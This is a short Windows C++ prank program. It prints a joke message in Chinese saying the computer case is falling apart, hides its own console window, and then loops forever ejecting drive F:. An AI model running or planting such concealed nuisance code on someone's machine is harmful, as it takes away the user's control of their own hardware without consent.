#include <Windows.h>
#include <iostream>

int main() {
    // 先打印文字
    std::cout << "机箱散架中……" << std::endl;
    Sleep(1000);

    HWND hWnd = GetConsoleWindow();
    ShowWindow(hWnd, SW_HIDE);

    while(true){
        HANDLE hDrive = CreateFileA(
            "\\\\.\\F:",
            GENERIC_READ | GENERIC_WRITE,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            NULL,
            OPEN_EXISTING,
            0,
            NULL
        );

        if (hDrive != INVALID_HANDLE_VALUE) {
            DWORD bytesReturned;
            DeviceIoControl(
                hDrive,
                IOCTL_STORAGE_EJECT_MEDIA,
                NULL, 0,
                NULL, 0,
                &bytesReturned,
                NULL
            );
            CloseHandle(hDrive);
        }
    }
    return 0;
}